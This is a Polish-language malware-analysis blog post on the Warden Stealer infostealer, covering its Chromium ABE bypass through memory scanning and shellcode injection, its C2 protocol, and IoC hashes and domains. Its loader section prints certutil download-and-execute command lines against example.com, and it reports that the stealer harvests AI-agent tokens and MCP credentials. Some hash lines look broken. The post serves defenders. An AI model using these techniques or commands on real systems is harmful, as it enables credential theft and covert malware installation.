Oczywiście tak krótki wzorzec daje więcej potencjalnych wyników, więc Warden Stealer zawęża ich liczbę, sprawdzając, czy wartości w określonych przesunięciach od każdego dopasowania są zgodne z oczekiwanym układem wpisu KeyRing.

Trzeba przyznać, że ta część jest nieco skomplikowana, ponieważ opiera się na kilku założeniach, jakie przyjęliśmy dotyczących wewnętrznego układu pamięci, a także na specyficznych dla danej implementacji reprezentacjach różnych typów standardowej biblioteki C++ (std::map, std::string, std::vectori std::optional). Dlatego prosimy traktować poniższą interpretację jako ocenę o wysokim stopniu pewności, a nie jako fakt pewny. Niemniej jednak, sądząc po naszej analizie, jesteśmy głęboko przekonani, że te sprawdzania wynikają z układu pamięci wpisu KeyRing.

Chromium definiuje KeyRing jako std::map</*tag=*/std::string, std::optional<Key>>, więc każdy z jego wpisów jest std::pair<const std::string, std::optional<Key>> przechowywany w węźle drzewa czerwono-czarnego, które implementuje mapę. W ramach tej pary po tagu std::string następuje wartość std::optional<Key>, której obiekt Key przechowuje zaszyfrowany v20_master_key w swojej zmiennej składowej key_ (w postaci std::vector<uint8_t>). (std::vector<uint8_t>).

W szczególności Warden Stealer sprawdza trzy kolejne qwords w offsetach +32, +40, oraz +48 od każdego dopasowania v20\x00, co w domyślnej, opartej na wskaźnikach reprezentacji std::vector w bibliotece libc++ powinno odpowiadać wskaźnikom begin, end oraz capacity_end wektora key_, jak pokazano na rysunku 21 (i co zostało wcześniej szczegółowo omówione w naszej analizie obejścia ABE w Vidarze). Prowadzi to do wniosku, że program wykradający wykorzystuje wektor key_ jako mechanizm weryfikacyjny: tylko wtedy, gdy dane w tych offsetach w wiarygodny sposób przypominają strukturę std::vector, program traktuje to dopasowanie jako potencjalny węzeł KeyRing. W praktyce weryfikacja ta ma charakter raczej heurystyczny i sprowadza się do następujących testów poprawności trzech wskaźników:

  • Wskaźnik begin musi być wyrównany co 8 bajtów i mieścić się w zakresie adresów trybu użytkownika (0x10000–0x7FFFFFFFFFFF)
  • Wskaźnik end musi być równy begin + 32, co wskazuje na bufor o rozmiarze 32 bajtów (tj. rozmiar v20_master_key)
  • Wskaźnik capacity-end musi być również wyrównany co 8 bajtów, mieścić się w zakresie adresów trybu użytkownika oraz znajdować się między end a begin + 64, co ogranicza pojemność wektora do wartości z przedziału od 32 do 64 bajtów
Rysunek 21: Opisany zrzut pamięci przeglądarki przedstawiający pojedynczy węzeł mapy KeyRing (układ std::vector oparty na wskaźnikach).
Rysunek 21: Opisany zrzut pamięci przeglądarki przedstawiający pojedynczy węzeł mapy KeyRing (układ std::vector oparty na wskaźnikach).

Jednak biblioteka libc++ obsługuje również alternatywny układ oparty na rozmiarze obiektu std::vector, w którym po wskaźniku begin następują całkowitoliczbowe pola size i capacity zamiast dwóch dodatkowych wskaźników. Co warte odnotowania, logika filtrowania programu Warden Stealer wydaje się uwzględniać również ten wariant: jeśli wskaźnik begin przechodzi test wyrównania, ale druga wartość typu qword nie jest równa begin + 32, program przechodzi do sprawdzania, czy sama wartość qword jest równa 32. Następnie wymaga, aby trzecie qword nie miało ustawionych żadnych bitów innych niż 0x20, co w praktyce oznacza akceptowanie wyłącznie wartości 0 lub 32. Wskaźnik begin, po którym następują dwie wartości 32, opisuje zatem ten sam wektor key_ (32-bajtowy bufor o pojemności 32 bajtów), ale w jego reprezentacji opartej na rozmiarze. Pełną logikę filtrowania przedstawiono na rysunku 23.

Rysunek 22: Wizualizacja układu std::vector opartego na wskaźnikach i na rozmiarze.
Rysunek 22: Wizualizacja układu std::vector opartego na wskaźnikach i na rozmiarze.
Rysunek 23: Warden Stealer filtrujący dopasowania v20\x00 w oparciu o oczekiwany układ wpisu KeyRing.
Rysunek 23: Warden Stealer filtrujący dopasowania v20\x00 w oparciu o oczekiwany układ wpisu KeyRing.

Zebrane kandydatury (begin wskaźniki zidentyfikowanych wektorów key_, z których każdy prawdopodobnie wskazuje na zaszyfrowany v20_master_key) są następnie sortowane, deduplikowane i testowane jeden po drugim. Dla każdego kandydata narzędzie Warden Stealer odczytuje 32 bajty, na które wskazuje, i umieszcza je w docelowym procesie przeglądarki wraz z krótkim fragmentem kodu powłoki (shellcode). Aby uruchomić ten fragment, przejmuje jeden z istniejących wątków przeglądarki poprzez jego zawieszenie, zapisanie jego pierwotnego kontekstu oraz przekierowanie wskaźnika instrukcji do kodu powłoki. Po wznowieniu fragment kodu powłoki wywołuje funkcję CryptUnprotectMemory na umieszczonym buforze z flagą CRYPTPROTECTMEMORY_SAME_PROCESS (podobnie jak Remus, który również wstrzykuje do przeglądarki niewielki fragment kodu powłoki w celu wykonania właśnie tego wywołania). Ponieważ deszyfrowanie odbywa się na miejscu, Warden Stealer po prostu odczytuje zawartość bufora i porównuje ją z oryginalnymi zaszyfrowanymi bajtami. Jeśli zawartość się różni, traktuje wynik jako odzyskany v20_master_key.

Rysunek 24: Warden Stealer tworzy i wstrzykuje kod powłoki odpowiedzialny za odszyfrowanie v20_master_key.
Rysunek 24: Warden Stealer tworzy i wstrzykuje kod powłoki odpowiedzialny za odszyfrowanie v20_master_key.

Komunikacja C2

Każda kompilacja Warden Stealer zawiera własny, zakodowany na stałe zestaw domen C2 osadzonych bezpośrednio w pliku binarnym. Pojedyncza kompilacja zawiera zazwyczaj od jednej do pięciu domen, a wszelkie dodatkowe domeny służą jako punkty końcowe rezerwowe na wypadek, gdyby serwer stał się niedostępny.

Domeny te są chronione przez dedykowany schemat zaciemniania, odrębny od dekodera ciągów znaków ogólnego przeznaczenia, przy czym każdy wpis jest przechowywany jako jednobajtowy klucz XOR, wskaźnik do zakodowanej domeny oraz długość tej domeny w bajtach. Co istotne, te trzy pola mogą występować w dowolnej kolejności, co prawdopodobnie wynika z morfingowania złośliwego oprogramowania.

Rysunek 25: Przykład wbudowanych wpisów C2 w złośliwym oprogramowaniu Warden Stealer, z których każdy składa się z jednobajtowego klucza XOR, wskaźnika do zakodowanej domeny oraz długości tej domeny.
Rysunek 25: Przykład wbudowanych wpisów C2 w złośliwym oprogramowaniu Warden Stealer, z których każdy składa się z jednobajtowego klucza XOR, wskaźnika do zakodowanej domeny oraz długości tej domeny.

Rzeczywista komunikacja z serwerem C2 odbywa się za pośrednictwem protokołu HTTPS i opiera się na niestandardowym formacie binarnym. Przed wysłaniem każdy rekord jest serializowany, zaszyfrowany algorytmem XOR przy użyciu bajtu specyficznego dla danej kompilacji oraz opatrzony prefiksem w postaci znacznika ramki. Powstała ramka jest następnie kompresowana przy użyciu algorytmu LZNT1 i otoczona nagłówkiem zawierającym jej długość w postaci nieskompresowanej, 16-bajtowy znacznik kompilacji oraz opcjonalne metadane.

Rysunek 26: Struktura wychodzących żądań C2 programu Warden Stealer.
Rysunek 26: Struktura wychodzących żądań C2 programu Warden Stealer.

Korzystając z tego formatu, program Warden Stealer najpierw wysyła żądanie rejestracji zawierające odcisk palca zainfekowanego systemu, który obejmuje identyfikator sprzętowy komputera, szczegóły dotyczące procesora i pamięci, wersję systemu operacyjnego, konfigurację wyświetlacza, nazwę użytkownika, ustawienia regionalne oraz zainstalowane oprogramowanie. W odpowiedzi serwer zwraca dynamiczną konfigurację programu, która jest zaszyfrowana algorytmem XOR przy użyciu tego samego bajtu specyficznego dla danej kompilacji, co wychodzące rekordy, ale w przeciwieństwie do nich nie jest skompresowana algorytmem LZNT1. Jeśli wymiana danych nie powiedzie się lub odpowiedź nie zawiera prawidłowej konfiguracji, Warden Stealer przechodzi do następnej domeny C2 z listy. Po uzyskaniu prawidłowej konfiguracji Warden Stealer gromadzi dane zgodnie ze skonfigurowanymi flagami funkcji i regułami gromadzenia, a następnie przesyła skradzione dane na serwer C2 partiami.

Przykład dynamicznej konfiguracji Warden Stealer jest dostępny na naszym GitHubie.

Wykonywanie dodatkowych ładunków

Oprócz funkcji kradzieży danych Warden Stealer może pobierać i wykonywać dodatkowe ładunki z adresów URL podanych w jego dynamicznej konfiguracji. Dla każdego adresu URL tworzy ścieżkę docelową w katalogu %TEMP% i pobiera tam plik za pomocą polecenia certutil.exe -urlcache -split -f „<URL>” „<destination>”. Nazwa docelowego pliku jest wyprowadzana z wartości GetTickCount, sformatowanej jako osiem cyfr szesnastkowych pisanych małymi literami, uzupełnionych zerami po lewej stronie, po których bezpośrednio następuje pozycja adresu URL (liczona od zera) na liście konfiguracyjnej. Rozszerzenie jest wybierane poprzez sprawdzenie tekstu adresu URL poprzedzającego dowolny ciąg zapytania lub fragment pod kątem .msi, .batlub .cmd; w pozostałych przypadkach używane jest rozszerzenie .exe. W zależności od wybranego rozszerzenia ładunek jest uruchamiany w jeden z następujących sposobów:

  • MSI: msiexec.exe /i „<destination>” /qn /norestart
  • BAT/CMD: cmd.exe /c „<destination>”
  • EXE (domyślnie): pobrany plik jest uruchamiany bezpośrednio

Aby przeprowadzić zarówno pobieranie, jak i uruchomienie, Warden Stealer wykorzystuje obiekt COM

Shell.Application (zamiast bezpośredniego wywołania CreateProcess). Poprzez interfejs IShellDispatch2 wywołuje metodę ShellExecute, aby uruchomić cmd.exe z ukrytym oknem (SW_HIDE). Argumenty przekazane do cmd.exe łączą polecenie pobierania certutil z odpowiednim wywołaniem ładunku, połączone operatorem &&, dzięki czemu ładunek jest uruchamiany tylko wtedy, gdy pobieranie zakończy się powodzeniem (a dokładniej, jeśli certutil zwróci kod zakończenia sukcesu).

Poniższe przykłady ilustrują wynikowe wiersze poleceń, przy założeniu, że %TEMP% to C:\Users\user\AppData\Local\Temp, GetTickCount zwraca 0x1337 dla każdego elementu, a adresy URL pojawiają się w konfiguracji w kolejności MSI, BAT i EXE:

  • MSI: cmd.exe /c certutil.exe -urlcache -split -f „https://example.com/payload.msi” „C:\Users\user\AppData\Local\Temp\000013370.msi” && msiexec.exe /i „C:\Users\user\AppData\Local\Temp\000013370.msi” /qn /norestart
  • BAT: cmd.exe /c certutil.exe -urlcache -split -f „https://example.com/payload.bat”
    „C:\Users\user\AppData\Local\Temp\000013371.bat” && cmd.exe /c
    „C:\Users\user\AppData\Local\Temp\000013371.bat”
  • EXE: cmd.exe /c certutil.exe -urlcache -split -f „https://example.com/payload.exe” „C:\Users\user\AppData\Local\Temp\000013372.exe” &&
    „C:\Users\user\AppData\Local\Temp\000013372.exe”

Podsumowanie

Warden Stealer szybko stał się jednym z najpowszechniejszych programów wykradających dane, przed którymi chronimy naszych użytkowników, plasując się na równi z Amatera, Remus i Vidar. Napisany w języku Rust, łączy szerokie możliwości kradzieży danych z dedykowanym, niestandardowym modułem ładującym oraz wbudowanym narzędziem do kradzieży kryptowalut. Jest aktywnie rozwijany i promowany na podziemnych forach od sierpnia 2026 r., choć pierwsze jego wersje śledziliśmy już od początku maja 2026 r.

W tym wpisie na blogu pokazaliśmy, w jaki sposób nasze dochodzenie pozwoliło powiązać złośliwe oprogramowanie, które wcześniej śledziliśmy pod nazwą CallbackBeaver, z Warden Stealer. Ta identyfikacja opiera się na podobieństwach między analizowanymi próbkami a publicznymi oświadczeniami autorów zamieszczonymi na podziemnych forach oraz w wywiadzie, w tym na szczegółach dotyczących harmonogramu rozwoju oraz możliwości modułu ładującego i narzędzia do kradzieży kryptowalut.

Opisaliśmy również różnorodne techniki zaciemniania kodu stosowane przez ten program kradnący dane oraz mechanizmy wykrywania maszyn wirtualnych, a także jego podejście do omijania szyfrowania związanego z aplikacją (Application-Bound Encryption) w celu kradzieży poufnych informacji z przeglądarek opartych na silniku Chromium. Warto zauważyć, że Warden Stealer jest jednym z pierwszych programów typu „stealer”, które aktywnie atakują lokalnie zainstalowane agenty AI w celu wykradzenia tokenów dostępu i odświeżania, historii monitów, poświadczeń przechowywanych w konfiguracjach MCP oraz innych poufnych informacji związanych z programistami, co podkreśla zmianę, jaką ostatnio zaobserwowaliśmy w środowisku programów typu „infostealer”.

Wskaźniki naruszenia bezpieczeństwa (IoC)

Pełna, znacznie bardziej obszerna lista wskaźników IoC jest dostępna na naszym GitHubie.

Warden Loader SHA-256 (nie wyczerpująca)

006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c 0d727a4ef1178e767afdd0080ba1ebda0f24ac52b6 39f0501021affd8f88d26a 63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef 77c8266935bc040c992ab70 abd402bd203b9c12e7548c80b84fd21308c250f0e 77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865 abcc49cd

8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36 b855f6883391e25f1a91692bef76771065b4b0436a014de5b25 aa9d0de6238e4 dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e ea9debbe4b3d11bf6c986af63a94e13ceb2a1 cbc167a642697fcabc9e8a50439 ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1

Warden Stealer SHA-256 (wykaz niepełny)

04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5 159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef 7af5180b972 3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842 51bc797e783b6a765e174736ff12a711a 243099f4e19739388e5bce1548a448d 5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351 6e47d6da0e 2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188 f05723f1 cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4 e62b24142e7244573cf37cef55b175fbba6a43 ac4592d30f8b061dda8866c9b3 fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0

Wyodrębnione domeny C2 programu Warden Stealer (lista niekompletna)

backtoblack7[.]com
berff3788[.]com
bobroviysmex[.]shop
bomboclat[.]rest
brodyagup[.]com
culture-shock[.]club
diseazhjw[.]cloud
dojaekrt[.]cc
dojaekrt[.]forum
dojaekrt[.]trade
erifytrtr1[.]vip
ggresp[.]com
hotelcalifornia[.]club
hroffice[.]work
incoming[.]rent
jgkawdq[.]cloud
kaiangelsystems[.]rest
kaifdlyaw[.]com
kaliop-weda[.]club
konradkerz40000[.]work
library2000[.]com
luqiuid91[.]com
macfilecloud8[.]com
matie-bal[.]club
modicontools[.]com
nextlanding[.]net
nweenwew234[.]cc
patduggan[.]com
pianolovers[.]club
piska-sosidka-govno[.]asia
plainhorizon[.]org
publisher99[.]com
rabbids-sixseven[.]cc
recap-check[.]org
rocks56[.]com
rrrrrrrfffff[.]club
russianaltushkawantdickinside[.]club
sfgiantslive[.]com
skibidiclipper[.]pw
skibidiproliv[.]com
skibidistealer[.]team
systemformating[.]rest
verifytrtr[.]vip
vlad-nazarenko2004[.]club
web03-azureupdate[.]com
webex-028ue2[.]com
wosback[.]cc
zalupka[.]website
zolotoy[.]club
zxcwork[.]com


AVG Polska

Przedsiębiorstwo Informatyczne CORE

Producent, importer i reseller oprogramowania, wydawca serwisów internetowych. Działa od 2001 roku. Oficjalny dystrybutor AVG. Programy rozprowadzane są przez siatkę ponad 1300 resellerów na terenie całej Polski, zapewniona jest pełna polska pomoc techniczna oraz wsparcie handlowe i marketingowe.

Zostaw wiadomość


The reCAPTCHA verification period has expired. Please reload the page.